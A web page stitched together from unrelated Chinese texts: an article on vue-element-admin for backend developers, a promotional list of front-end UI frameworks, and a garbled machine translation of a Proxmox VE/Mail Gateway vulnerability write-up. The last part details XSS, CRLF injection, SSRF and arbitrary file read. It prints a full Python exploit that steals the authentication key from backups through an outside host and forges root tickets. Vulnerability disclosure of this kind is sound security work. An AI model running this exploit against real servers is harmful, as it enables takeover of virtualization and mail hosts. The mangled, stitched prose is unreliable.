做后端開發的同學都知道,越是正規的公司,分工越是專業。一般后端開發不太會被安排一些前端開發任務。盡管如此,不代表說后端同學一點前端也做。
對于一些內部時候、對樣式不太在意的“管理系統”(各種 admin/government/background)。套路化、模板化的前端,有很大概率是后端來做的。因此后端同學也有必要掌握一些前端技術,不求多專業,夠用就好。
就筆者而言,后臺管理系統的前端開發,基本上經歷了4個階段。
這4個階段基本跟前端框架的進展也是吻合的。4個階段如下:
l 石器時代
后端使用JSP、Freemarker、Velocity等模板引擎,基于內置or自定義標簽。后端直接渲染出前端頁面。
缺點有很多:后端一個變量寫不對,整個頁面無法出現。語法十分不方便閱讀,各種轉義符經常看的眼花繚亂,從而也很難維護。這個階段很快就過去。
l 青銅時代
出現了一些基本是后端才會用的js ui框架。如 jquery-ui 、easyui / miniui 、extjs等。
自帶了很多組件。前端使用的 table、form、pager等組件都是現成的。直接引用和組裝即可。
這時候基本不需要后端的標簽了,jsp仍然在使用,但也僅僅是作為一個構架,將js、css等資源引入。其他所有操作都是 js + ajax + json 與后端交互。無論是開發、維護效率都大大提升
l 蒸汽時代
這個時代基本跟上一個時代差別不大,最大的區別是出現了 bootstrap 這個基于柵格的css框架。有大量的jquery插件與之配合,同時出現了大量的模板,幾乎一統天下。
l 現在
前后端分離的趨勢不可阻擋,后端的管理系統也有部分已經是基于vue或者react開發。
前后端分離框架3足鼎立。Vue、AngularJS、React各有擁躉,國內vue用的比較多,相對來說vue也最容易上手,所以很適合后端開發快速學習。
Vue 本身的ui框架,國內餓了么開源的 element-ui 用戶眾多,因此開發vue選擇element-ui是很好的選擇。
今日推薦的框架,就是基于element-ui進行的二次封裝。直接提供了一套解決方案。
我們來看一下。
項目地址:
https://panjiachen.github.io/vue-element-admin-site/zh/
項目預覽:
項目特點:
vue-element-admin 是一個后臺前端解決方案,它基于 vue 和 element-ui實現。它使用了最新的前端技術棧,內置了 i18 國際化解決方案,動態路由,權限驗證,提煉了典型的業務模型,提供了豐富的功能組件,它可以幫助你快速搭建企業級中后臺產品原型。
l 主流技術棧
所謂主流,就是說即便是我們自己搭建,也大概率引入相同的大部分依賴。
l 封裝簡練
沒有重度耦合太多自定義的、沒有源碼的未知組件,用法也是主流用法,看了之后會容易二次修改
l 組件豐富
權限、主題、國際化、編輯器、表格、Error頁面、圖表等盡可能集成了。減少你的開發量。
圖表:
圖標:
整合了編輯器:
動態表格:
EXCEL導出:
換膚:
架對于前端工程師而言是繞不開的話題,熟練使用框架可以節約開發成本和時間,一般開發一個項目都會用到前端框架。高質量的框架更能夠讓web前端工程師在開發中達到事半功倍的效果,今天就為大家分享一些高質量的前端框架希望能夠對大家有所幫助。
一、QUICK UI
QUICK UI是一套完整的企業級web前端開發解決方案,由基礎框架、UI組件庫、皮膚包、示例工程和文檔等組成。使用QUICKUI開發者可以極大地減少工作量,提高開發效率,快速構建功能強大、美觀、兼容的web應用系統。
QUICK UI優勢:
①功能最為強大
QUICKUI經歷了7年的迭代更新,不斷從客戶的各種業務中對組件的需求進行歸納和抽離,從而打造新的組件和功能。現在最新的4.0版本框架包含了一百多種組件,一千多個應用場景示例。可以說在前端框架領域中,QUICKUI擁有功能最強大組件庫。
②運行最為穩定
很多其他的第三方UI控件在簡單場合使用OK,到了復雜的場景中就會出現很多問題,這種現象很常見,因為在組件設計時無法預料到所有的應用場合。而QUICKUI在7年間經歷了數千個項目實際檢驗,在各種復雜場景都應用過,并根據客戶的反饋不斷完善和調整。目前的第四代可以說是最穩定、最完美的版本。
③豐富精美的界面皮膚
跟其他web前端框架僅僅是一套組件庫不同,QUICKUI是一整套前端解決方案,擁有豐富的外觀界面解決方案。采用現今流行的扁平化設計理念,推出了包括登錄、響應式web、工作桌面、地圖類、門戶風格、大屏展示風格等等幾百套制作精美、用戶體驗優秀的界面。這些界面是以QUICKUI皮膚包的形式發布,使用和更換都非常方便。
④事無巨細的開發文檔
QUICKUI擁有16萬字+的開發文檔,框架和組件的每一個功能點都有詳細的講解和代碼示例,用于開發過程中隨時查閱。除了框架機制講解和組件使用教程,文檔還涉及web前端開發的很多知識。仔細閱讀并結合框架使用的話,你很快就能成為web開發的高手。
⑤上手開發非常容易
QUICKUI采用組件化思想來構建組件,一個組件就是一兩句html的標簽,使用起來非常簡單。將開發人員從繁瑣的JS編碼中解脫出來,很大程度減少前臺編碼的出錯率;保留了HTML的布局方式,從而快速進行頁面布局。對開發者前臺技術要求也非常低,只需要了解html語法和一些簡單的JS即可,從而把更多精力放在業務功能的實現上,極大地提高開發效率。
⑥瀏覽器兼容性非常好
QUICKUI4.0使用了很多HTML5,CSS3技術用于提高表現力和用戶體驗,這些新的特性在現代瀏覽器中會有很好的效果。但是,國內依然有大量的用戶在使用IE7、IE8等舊時代的瀏覽器,為照顧這部分用戶,框架采用了漸進式思想,確保低版本瀏覽器也能正常使用。所以,QUICKUI兼容IE7以上所有主流瀏覽器。
二、flex
Apache基金會今天發布了Flex4.8版本,這是Adobe將Flex捐獻給Apache基金會后發布的第一個版本。
需要注意的是,Flex目前還在孵化階段,還不是Apache的正式項目,Flex4.8也不是一個正式的Apache版本。
Apache稱,該版本標志著Flex新時代的開始,Flex的未來將由社區來驅動,而不是由一個公司驅動。開發者可以通過貢獻代碼,來幫助改進Flex,如修復bug、增加功能等。
從Macromedia賣給Adobe,然后又捐給apache,不知道搞什么名堂。不過還好沒有經過大幅重構,否則就真的是悲哀了!
三、extjs
ExtJS是一種主要用于創建前端用戶界面,是一個基本與后臺技術無關的前端ajax框架。
功能豐富,無人能出其右。
無論是界面之美,還是功能之強,ext的表格控件都高居榜首。
華麗的界面,靈活的功能,還有開發工具都是配套的,但有個最大的問題,用就得花錢!
四、easyui
easyui幫助你構建你的web應用更加容易。
它是一個基于jquery的插件,開發出來的一套輕量級的ui框架,非常小巧而且功能豐富。
但是她有一個最大的問題就是代碼只能找到以前的開源的版本,到了1.2以后的版本源代碼都是經過混淆的,如果遇到問題修改起來會非常麻煩!不過一個比較大的優勢是開源免費,并且界面做的還說的過去!
五、jQueryUI
jQueryUI是一套jQuery的頁面UI插件,包含很多種常用的頁面空間,例如Tabs(如本站首頁右上角部分)、拉簾效果(本站首頁左上角)、對話框、拖放效果、日期選擇、顏色選擇、數據排序、窗體大小調整等等非常多的內容。功能非常全面,界面也挺漂亮的,可以整體使用,也可以分開使用其中的幾個模塊,免費開源!
六、MiniUI
又一個基于jquery的框架,開發的界面功能都很豐富。
jQueryMiniUI–快速開發WebUI。
它能縮短開發時間,減少代碼量,使開發者更專注于業務和服務端,輕松實現界面開發,帶來絕佳的用戶體驗。
使用MiniUI,開發者可以快速創建Ajax無刷新、B/S快速錄入數據、CRUD、Master-Detail、菜單工具欄、彈出面板、布局導航、數據驗證、分頁表格、樹、樹形表格等典型WEB應用系統界面。
界面做的挺不錯,功能也挺豐富,但是有兩個比較大的問題,一個是收費,一個是沒有源碼,說白了,不開源!基于這個開發如果想對功能做擴展就需要找他們的團隊進行升級!
七、DWZ
DWZ富客戶端框架(jQueryRIAframework),是中國人自己開發的基于jQuery實現的AjaxRIA開源框架.
設計目標是簡單實用,快速開發,降低ajax開發成本。
畢竟是國產的,支持一下,而且源碼完全公開,可以選擇一下!不過性能怎么樣不敢確定!
八、YUI
Yahoo!UILibrary (YUI)是一個開放源代碼的JavaScript函數庫,為了能建立一個高互動的網頁,它采用了AJAX,DHTML和DOM等程式碼技術。它也包含了許多CSS資源。使用授權為 BSD許可證,基本上沒怎么研究過!YUICompressor倒是挺出名的,這套UI庫不知道應用的情況怎么樣!
九、Sencha
Sencha是由ExtJS、jQTouch以及Raphael三個項目合并而成的一個新項目。
大公司的框架,并且是幾樣庫的強強聯合,值得推薦!
十、OperaMasks-UI
OperaMasks-UI是OperaMasks團隊2011下半年打造的一款輕量級前端JS組件庫,旨在提供一款學習曲線低、定制性靈活、樣式統一,且多瀏覽器支持、覆蓋企業業務場景的前端JavaScriptUI組件庫。目前,該團隊已將這一產品以LGPL開源協議開放給社區。
文檔豐富,功能齊全,而且很容易使用和開發!而且是國產的喲!
以上排序是整理時的排序,一起整理分析一下,下次用的時候就不用到處找了,我想同樣的問題應該也存在在很多程序員身上,任何一款UI框架,只要能夠容易入手就行。
熟練掌握并使用框架是一名優秀web前端工程師必備的技能,對于框架方面的問題,可以加入465042726,我們共同探討。
Proxmox Virtual Environment(Proxmox VE 或 PVE)是一個開源的 Type-1 虛擬機管理程序。它包括一個用Perl編程的基于Web的管理界面。另一個用Perl編寫的Proxmox產品,Proxmox Mail Gateway(PMG),帶有類似的Web管理界面。它們共享一些代碼庫。
在本文中,我將逐步介紹如何調試 PVE 的 Web 服務,并分析我在 PVE 和 PMG 中發現的三個錯誤。
PVE是一個基于Debian的Linux發行版。ISO 安裝程序可在他們的網站上找到。請注意,如果您想重現本文中的任何錯誤,請使用 2022 年 5 月 4 日更新的“Proxmox VE 7.2 ISO 安裝程序”,除非您手動運行,否則不包括補丁。apt update
在默認安裝中,Web 服務應偵聽端口 8006。
使用幾個命令,不難弄清楚 Web 服務的腳本位于:/usr/share/perl5/
ss -natlp | grep 8006 # Which process is listening on port 8006
which pveproxy # Where is the executable
head `which pveproxy` # Is it an ELF, a shell script or something else?
find /usr -name "SafeSyslog*" # Where is the "SafeSyslog" module used by pveproxy?
我選擇IntelliJ IDEA及其Perl插件進行調試。以下是設置它的步驟:
在此階段,您應該在 IDEA 中具有正確的語法突出顯示和依賴項解析。
運行以下命令以安裝所需的調試工具:
apt install gcc make
cpan Devel::Camelcadedb
一切就緒。要啟動調試會話,請在 IDEA 中單擊“運行”調試“PVE 遠程”>并在服務器上運行。如果一切順利,調試器應該在第 330 行中斷默認情況下,如下圖所示。PERL5_DEBUG_HOST=<your PVE server IP> PERL5_DEBUG_PORT=12345 PERL5_DEBUG_ROLE=server perl -T -d:Camelcadedb /usr/bin/pveproxy start -debugSSL.pm
通過登錄 Web 界面,可以觀察到許多請求被發送到路徑下的端點。通常,after表示響應數據的格式,服務器可能支持各種格式用于不同的目的。例如,可以為 RPC 調用、跨源標記或設置實現。在 PVE 中,如果我們更改為,服務器將返回一個包含 json 結果的“API 檢查器”頁面:/api2/json/json/apixmljsonp<script>htmlinnerHTMLjsonhtml
進一步的測試表明,服務器沒有正確轉義用戶的輸入。如果我們訪問一個不存在的 API 端點,請求路徑將反映在 antag 的屬性中。因此,攻擊者可以注入 HTML 標記以實現反射式跨站點腳本。href<a>
功能線 1100 是我們的入口點。如果請求路徑以 開頭,它將傳遞請求以運行。handle_requestperl5/PVE/APIServer/AnyEvent.pm/api2handle_api2_request
進入,我們可以在第 865 行看到變量,并且通過正則表達式從請求路徑的其余部分中提取。然后調用函數以獲取用于生成響應的“格式化程序”。handle_api2_request$rel_uri$formatPVE::APIServer::Formatter::get_formatter
后來,泰斯在946行打電話。在生成導航欄的“痕跡導航”HTML 時,請求路徑直接連接到標簽的屬性。$formatterhref<a>
由于身份驗證cookie是使用屬性設置的,因此成功利用該漏洞需要受害者在訪問惡意鏈接之前在同一瀏覽器會話中登錄到Web界面。PVEAuthCookieSession
攻擊者可以通過執行惡意 JavaScript 代碼來訪問 Web 界面中的每個功能。功能之一是執行 shell 命令。這是演示可能的攻擊場景的視頻。在視頻中,受害者登錄了PVE Web UI,然后訪問了一個鏈接。攻擊者的計算機上生成了 PVE 主機的反向外殼。
通過將用戶輸入編碼為 HTML 實體反轉來修補此漏洞。pve-http-server4.1-2
在處理 HTTP 請求時,如果出現任何錯誤,PVE 服務器將在響應的狀態行中寫入錯誤消息。
相應的代碼位于:perl5/PVE/APIServer/AnyEvent.pm
# line 294
my $code=$resp->code;
my $msg=$resp->message || HTTP::Status::status_message($code);
($msg)=$msg=~m/^(.*)$/m; # [1]
# ...
# line 308
my $proto=$reqstate->{proto} ? $reqstate->{proto}->{str} : 'HTTP/1.0';
my $res="$proto $code $msg\015\012"; # [2]
At服務器使用正則表達式來匹配錯誤消息的第一行,試圖避免其他行破壞HTTP響應。但是,此方法僅阻止 LF(%0a)。仍然可以在基于 Chromium 的瀏覽器中注入帶有 CR(%0d) 的響應標頭。[1][2]
以下是 Burp Suite 中的響應:
在測試時,使用 CR(%0d) 注入響應標頭僅適用于基于 Chromium 的瀏覽器(Chrome、MS Edge、Opera 等),并且無法僅使用 CR(%0d) 注入到響應正文中。Firefox 不承認 CR(%0d) 是沒有 LF(%0a) 的有效換行符。
PVE 中的這個錯誤乍一看似乎完全無害。不幸的是,在第 1327 行,對傳入的 HTTP 請求進行了長度限制檢查。如果請求標頭超過 8192 字節,服務器將拒絕處理 HTTP 請求。AnyEvent.pm
# line 55
my $limit_max_header_size=8*1024;
# ...
# line 1327
die "http header too large\n" if ($state->{size} +=length($line)) >=$limit_max_header_size;
因此,攻擊者可以制作惡意網頁,在受害者的 PVE 域上多次設置長 cookie。一旦受害者訪問惡意網頁,對 PVE 域的后續 HTTP 請求將攜帶很長的 cookie 標頭,從而被服務器拒絕。
下面是演示此客戶端 DoS 漏洞的視頻。在視頻中,受害者最初能夠使用PVE Web UI。訪問惡意鏈接后,受害者在清除 cookie 之前無法再訪問 Web UI。
需要注意的一件事是,Chrome默認允許第三方cookie。這是利用此客戶端 DoS 錯誤的必要條件,因為我們正在設置從攻擊者域到受害者 PVE 域的 cookie。但是,如果受害者在瀏覽器設置中將其 cookie 策略更改為“阻止第三方 cookie”或“阻止所有 cookie(不推薦)”,則此攻擊將不起作用。
此錯誤通過添加額外的反轉檢查來修補。\r\npve-http-server4.1-3
PVE 服務器可以作為獨立節點運行,也可以加入群集以與其他節點連接。這種設計自然允許節點相互交換信息。例如,用于按名稱查詢集群中節點狀態的 apii。它還可用于查詢節點本身。/api2/json/nodes/{node_name}/status
如果我們將 the更改為不存在的值“test”,我們將看到以下錯誤消息:服務器似乎正在嘗試對給定的服務器執行DNS查找。使用Burp Collaborator的快速測試驗證了我們的猜測:node_nameHTTP/1.1 500 hostname lookup 'test' failed - failed to get address info for: test: No address associated with hostnamenode_name
通過分步調試,我們能夠在其中找到相應的代碼。事實證明,服務器解析為 IP 地址,然后將我們的 HTTP 請求中繼到。AnyEvent.pm:proxy_requestnode_namehttps://{IP}:8006/api2/json/nodes/{node_name}/status
我們可能想在這里嘗試的一件事是設置我們自己的HTTPS服務器,以使用有效的SSL證書偵聽端口8006,并觀察中繼的請求是否可以進入。雖然它不是這樣工作的,因為在觸發請求之前會執行多項檢查,并且希望為群集中的每個節點找到其中一個檢查。無論我們輸入自己的域名還是IP地址,服務器都將永遠找不到證書文件,因為該文件不指向集群中的任何真實節點。因此,它只是在TLS握手期間拋出錯誤“ HTTP / 1.1 596 tls_process_server_certificate:證書驗證失敗”并停止在那里。/etc/pve/nodes/{node_name}/pve-ssl.pemnode_name
我們注意到的另一件事是在構造 URL 時附加到端口(上圖中的 699、703 和 705 行)。開發人員可能已經假設這將始終以斜杠(/)開頭。雖然事實并非如此,因為我們發現可以在不破壞請求解析器的情況下將 slash(/) 替換為其 URL 編碼形式。$uri$target$uri%2F
我們試圖將 URL 的起始部分轉換為 userinfo 并使用 at 符號 (@) 附加我們自己的域,但其中一個健全性檢查再次阻止了我們。經過多次嘗試,我們設法找到了一個合適的 API 來利用此 SSRF 漏洞:此 API 接受任何字符串,這意味著我們可以設置為有效節點,以便它不會因證書問題而失敗。然后我們使用 URL 編碼的斜杠來控制主機名。GET /api2/json/nodes/{node_name}/tasks/{upid}/logupidnode_name@
在 PVE 中沒有任何權限的經過身份驗證的用戶能夠執行此 SSRF 攻擊。由于 PVE 和 PMG 之間存在大量共享代碼庫,PMG 中僅具有低權限“幫助臺”角色或“審核”角色的經過身份驗證的用戶也可以使用 API 利用此 SSRF 漏洞。/api2/html/nodes/{node_name}/pbs/{remote}/snapshot/
在 的回調函數中,服務器在響應標頭(第 778 行)中查找標頭并將其值提取給稍后傳遞給 variable.is,服務器將返回文件的內容作為響應正文。http_requestpvestreamfile$stream$streamsysopen
易受攻擊的代碼也存在于PMG中。攻擊者可以利用前面提出的 SSRF 漏洞,讀取 PVE/PMG 服務器上的任意文件,在 PVE 中僅使用非特權帳戶或在 PMG 中僅使用低權限帳戶。Theis 在進程中稱為 “pve(pmg)proxy worker”,uid=33(www-data)。sysopen
由于能夠讀取任意文件,黑客可能對存儲在服務器上的憑據和密鑰特別感興趣。我們決定深入研究身份驗證過程的實現,以查看服務器是否在數據庫或配置文件中存儲任何內容,以明文形式或通過某些“密鑰”加密。
PVE/PMG 中的身份驗證通過使用 RSA/SHA-1 對字符串進行簽名和驗證來實現。成功登錄后,服務器將為客戶端簽署“票證”,稱為“PVEAuthCookie”或“PMGAuthCookie”。以下是票證示例:
PVE:user01@pve:62BD5976::L1CM303sdb4Lr8yFOxFbw7KNYQ2SKI6LugQJj0+JDBpTG3L2QBBMQTe8Q2/VgECWumE8OyjB1ff15GIMLnHAnOTdGeRUbntaMQhU5kHr6TZsAbRRzZ6MTBqkFTq0lJUcK86BcNpHUaciABVEEjVvgDnOOToJXSMvM/qxzmiusTrx5wpturrF1D8hmhay2sG9eEuKwXVsIb6aeBL0Vcwm7V8VUQ0qqnUyaArAaJ4eW1MLIXgHl23OySYEl3CMg5mdbHyn+B0ITz8N4mYWXA2BedVxwE1Uo6NltJDsd63Mgob7ey9xmZSQI2M9qrLZIIhPbfK6panXJBvuCqAILZKjmw==
雙冒號分隔明文和簽名。明文的格式是。雖然簽名是使用存儲在 PVE 或 PMG 的私鑰生成的,但只有 root 用戶對這些文件具有讀寫權限。PVE:{username}@{realm}:{hex(timestamp)}/etc/pve/priv/authkey.key/etc/pmg/pmg-authkey.key
root@pve7:~# ls -l /etc/pve/priv/authkey.key
-rw------- 1 root www-data 1675 Jun 30 10:52 /etc/pve/priv/authkey.key
root@pmg:~# ls -l /etc/pmg/pmg-authkey.key
-rw------- 1 root root 1679 Jun 9 11:43 /etc/pmg/pmg-authkey.key
但是,事實證明,如果曾經使用過PMG中的備份功能,則備份文件將包含身份驗證密鑰。更重要的是,它可被www-data用戶讀取:
root@pmg:/var/lib/pmg/backup# ls -l
total 12
-rw-r--r-- 1 root root 10799 Jun 9 17:16 pmg-backup_2022_06_09_62A1BA65.tgz
備份文件的路徑可以從任務日志中提取,www-data用戶也可以訪問該日志。結合上述所有漏洞,攻擊者可以偽造票證,實現從低權限“幫助臺”角色或“審計”角色到PMG中完全訪問權限的權限提升。"root@pam"
我們在下面附上了python腳本和演示此漏洞的視頻。在視頻中,攻擊者以“幫助臺”用戶身份登錄PMG Web UI,由于權限低,無法更改當前用戶的角色。運行漏洞后,生成了偽造票證,攻擊者獲得了對 Web UI asuser 的訪問權限。"root@pam"
import argparse
import requests
import logging
import json
import socket
import ssl
import urllib.parse
import re
import time
import subprocess
import base64
import tarfile
import io
import tempfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES={} # {'https': '192.168.86.52:8080'}
logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.INFO)
def generate_ticket(authkey_bytes, username='root@pam', time_offset=-30):
timestamp=hex(int(time.time()) + time_offset)[2:].upper()
plaintext=f'PMG:{username}:{timestamp}'
authkey_path=tempfile.NamedTemporaryFile(delete=False)
logging.info(f'writing authkey to {authkey_path.name}')
authkey_path.write(authkey_bytes)
authkey_path.close()
txt_path=tempfile.NamedTemporaryFile(delete=False)
logging.info(f'writing plaintext to {txt_path.name}')
txt_path.write(plaintext.encode('utf-8'))
txt_path.close()
logging.info(f'calling openssl to sign')
sig=subprocess.check_output(
['openssl', 'dgst', '-sha1', '-sign', authkey_path.name, '-out', '-', txt_path.name])
sig=base64.b64encode(sig).decode('latin-1')
ret=f'{plaintext}::{sig}'
logging.info(f'generated ticket for {username}: {ret}')
return ret
def read_file(hostname, port, ticket, localhostname, filename):
logging.info(f'reading {filename}')
raw_req=f'GET %2Fapi2%2Fhtml%2Fnodes%2F{localhostname}%2Fpbs%2F@t7.cal1.cn/snapshot/?f={urllib.parse.quote_plus(filename)} HTTP/1.1\r\n' \
f'Cookie: PMGAuthCookie={urllib.parse.quote_plus(ticket)}\r\n' \
'Connection: close\r\n' \
'\r\n'
logging.debug(raw_req)
context=ssl.create_default_context()
# disable cert check
context.check_hostname=False
context.verify_mode=ssl.VerifyMode.CERT_NONE
ret=b''
with socket.create_connection((hostname, port), timeout=5) as sock:
with context.wrap_socket(sock, server_hostname=hostname) as ssock:
ssock.send(raw_req.encode())
while True:
try:
buf=ssock.recv(2048)
ret +=buf
if (len(buf) < 1):
break
logging.info(f'recv {len(buf)} bytes')
except socket.timeout:
logging.error('recv timeout, maybe the file doesn\'t exist')
break
return ret
def get_authkey_from_tgz(tgz_bytes):
tar=tarfile.open(fileobj=io.BytesIO(tgz_bytes))
logging.info('reading ./config_backup.tar from tgz')
tar2=tarfile.open(fileobj=tar.extractfile(tar.getmember('./config_backup.tar')))
logging.info('reading etc/pmg/pmg-authkey.key from ./config_backup.tar')
authkey_bytes=tar2.extractfile(tar2.getmember('etc/pmg/pmg-authkey.key')).read()
logging.info(f'read authkey_bytes length: {len(authkey_bytes)}')
return authkey_bytes
def exploit(username, password, realm, target_url, generate_for):
# login
logging.info(f'logging in with username:{username}')
req=requests.post(f'{target_url}api2/extjs/access/ticket',
verify=False,
data={'username': username, 'password': password, 'realm': realm},
proxies=PROXIES)
if req.status_code !=200:
logging.error(f'login failed: expect 200, got {req.status_code}. Please check target_url')
exit(1)
res=json.loads(req.content.decode('utf-8'))
if res['success'] !=1:
logging.error(f'login failed: {res["message"]}. Please check username/password/realm')
exit(1)
ticket=res['data']['ticket']
localhostname_re=re.compile('PMG:.*?@(.*?):[0-9A-F]{8}::')
localhostname=localhostname_re.findall(ticket)[0]
logging.info(f'logged in, user: {res["data"]["username"]}, role: {res["data"]["role"]}, localhostname: {localhostname}')
# read file
parsed_target=urllib.parse.urlparse(target_url)
hostname=parsed_target.hostname
port=parsed_target.port
task_index=read_file(hostname, port, ticket, localhostname, '/var/log/pve/tasks/index').decode('utf-8')
task_index=task_index.split('\r\n\r\n')[1]
backup_re=re.compile('^(UPID:.*?:backup::.*?) ([0-9A-F]{8}) OK$', re.MULTILINE)
backup_tasks=backup_re.findall(task_index)
# we start looking for the tgz file from the lastest update
backup_tasks.reverse()
logging.info(f'found {len(backup_tasks)} successful backup tasks')
for i in backup_tasks:
# extract backup tgz filepath from task details
task_detail=read_file(hostname, port, ticket, localhostname, f'/var/log/pve/tasks/{i[1][-1]}/{i[0]}').decode('utf-8')
backuptgz_re=re.compile('^starting backup to: (.*?\.tgz)$', re.MULTILINE)
backuptgz_path=backuptgz_re.findall(task_detail)
if len(backuptgz_path)==0:
logging.info(f'no backup file')
continue
backuptgz_path=backuptgz_path[0]
logging.info(f'found backup file: {backuptgz_path}')
# read the backup tgz file and extract pmg-authkey.key
backuptgz_content=read_file(hostname, port, ticket, localhostname, backuptgz_path)
if not backuptgz_content:
logging.info(f'no backup file')
continue
backuptgz_content=backuptgz_content.split(b'\r\n\r\n', 1)[1]
authkey_bytes=get_authkey_from_tgz(backuptgz_content)
new_ticket=generate_ticket(authkey_bytes, username=generate_for)
logging.info('veryfing ticket')
req=requests.get(target_url, headers={'Cookie': f'PMGAuthCookie={new_ticket}'}, proxies=PROXIES,
verify=False)
res=req.content.decode('utf-8')
verify_re=re.compile('UserName: \'(.*?)\',\n\s+CSRFPreventionToken:')
verify_result=verify_re.findall(res)
logging.info(f'current user: {verify_result[0]}')
logging.info(f'Cookie: PMGAuthCookie={urllib.parse.quote_plus(new_ticket)}')
break
def _parse_args():
parser=argparse.ArgumentParser()
parser.add_argument('-u', metavar='username', required=True, help='A low privilege account in PMG')
parser.add_argument('-p', metavar='password', required=True)
parser.add_argument('-r', metavar='realm', default="pmg", help="Default: pmg")
parser.add_argument('-g', metavar='generate_for', default="root@pam", help="Default: root@pam")
parser.add_argument('-t', metavar='target_url',
help='Please keep the trailing slash, example: https://10.0.0.24:8006/',
required=True)
return parser.parse_args()
if __name__=='__main__':
arg=_parse_args()
exploit(arg.u, arg.p, arg.r, arg.t, arg.g)
有幾個反轉應用了提交來修復錯誤鏈。pve-http-server4.1-3
譯 https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway/
*請認真填寫需求信息,我們會在24小時內與您取得聯系。